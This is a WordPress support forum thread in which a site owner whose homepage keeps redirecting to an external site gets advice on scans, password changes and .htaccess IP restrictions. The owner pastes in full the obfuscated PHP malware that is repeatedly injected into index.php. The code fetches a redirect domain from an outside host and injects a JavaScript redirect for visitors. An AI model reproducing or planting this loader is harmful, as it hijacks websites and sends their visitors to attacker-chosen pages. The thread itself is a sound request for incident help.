This will check for any malicious code in your site.,
Also, check your .htaccess, and change all your passwords (WordPress, Hosting, FTP)
]]>– I reinstalled wordpress
– Reviewed .htaccess file (no issues with it)
– Installed Wordfence and run the scan (no issues with it)
– Changed all passwords: ftp, hosting, wordpress to superlong ones ??
Still getting a redirect to external site when loading https://www.ageekinjapan.com (First time once per session?), Opening a private window on the browser and opening the site )
]]><?php
$id6fe1d0be634 = "/index/?2601510941471";
$z8c7dd922ad47=md5( ....... before the line: define(‘WP_USE_THEMES’, true);
]]>How do I know what process is editing the index.php?
]]>I have changed all passwords several times and Wordfence is also running 24/7
]]>set public index .htaccess to allow only by IP ip range.
also block PHP as well by IP range.
<Files wp-login.php>
Order Deny,Allow
Deny from All
Allow from ##.###.##.###
Allow from ##.##.##
Allow from ##.##.##
Allow from ##.##.##
Deny from ##.##.##
<Files wp-admin$>
Order Deny,Allow
Deny from All
Same IP list above
<FilesMatch “^php5?\.(ini|cgi)$”>
Order Deny,Allow
Deny from All
same again ending ip list with
Allow from env=REDIRECT_STATUS=200
toss this in too
</FilesMatch>
Options -Indexes
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>
I had a few issues where they got into my site and changed the front page, they changed user names and access..
I did all the same of changing passwords and credentials bu they were back in in 15 days. (with wordfence on) and yes when they hacked in they turned the plugins off.
this, though a pain to have to update IP’s whenever I travel somewhere, has secured my site for now.. (last 8 months)
]]>Unfortunately I added all those rules to my .httaccess and changed all passwords again. After several ours they inserted the code again the first line of my index.php, this means that they are not really logging in to insert the code?
]]><?php
$id6fe1d0be634 = "/index/?2601510941471";
$z8c7dd922ad47=md5($id6fe1d0be634);$u77e8e1445762=time();$geaa082fa5781=filemtime($z8c7dd922ad47);$u07cc694b9b3f=$u77e8e1445762-$geaa082fa5781;if(file_exists($z8c7dd922ad47)){$fe1260894f59e=@fopen($z8c7dd922ad47,base64_decode('cg=='));$xe4e46deb7f9c=json_decode(base64_decode(fread($fe1260894f59e,filesize($z8c7dd922ad47))),1);fclose($fe1260894f59e);}if($u07cc694b9b3f>=60 ||!file_exists($z8c7dd922ad47)){$v9b207167e538=getDDroi($z8c7dd922ad47);if($v9b207167e538[base64_decode('ZG9tYWlu')]){$je617ef6974fa=base64_decode('aHR0cDovLw==').$v9b207167e538[base64_decode('ZG9tYWlu')].$id6fe1d0be634;}else{$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode('QUkgcnNydg=='));curl_setopt($wd88fc6edf21e,CURLOPT_URL,$xe4e46deb7f9c[base64_decode('cnNydg==')]);curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sad5f82e879a9=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$je617ef6974fa=base64_decode('aHR0cDovLw==').$sad5f82e879a9.$id6fe1d0be634;}}else{$je617ef6974fa=base64_decode('aHR0cDovLw==').$xe4e46deb7f9c[base64_decode('ZG9tYWlu')].$id6fe1d0be634;}function getDDroi($z8c7dd922ad47){$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode('QUkgcm9p'));curl_setopt($wd88fc6edf21e,CURLOPT_URL,base64_decode('aHR0cDovL3JvaTc3Ny5jb20vZG9tYWluX3RlbXAucGhwP2Y9anNvbg=='));curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sb4a88417b3d0=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$xe4e46deb7f9c=json_decode($sb4a88417b3d0,true);if($xe4e46deb7f9c[base64_decode('ZG9tYWlu')]){$y0666f0acdeed=@fopen($z8c7dd922ad47,base64_decode('dys='));@fwrite($y0666f0acdeed,base64_encode($sb4a88417b3d0));@fclose($y0666f0acdeed);return $xe4e46deb7f9c;}else return false;}if(!$_COOKIE[base64_decode('YTc3N2Q=')]){setcookie(base64_decode('YTc3N2Q='),1,time()+43200,base64_decode('Lw=='));echo base64_decode('PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi').$je617ef6974fa.base64_decode('Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi').$je617ef6974fa.base64_decode('Ijs8L3NjcmlwdD4=');}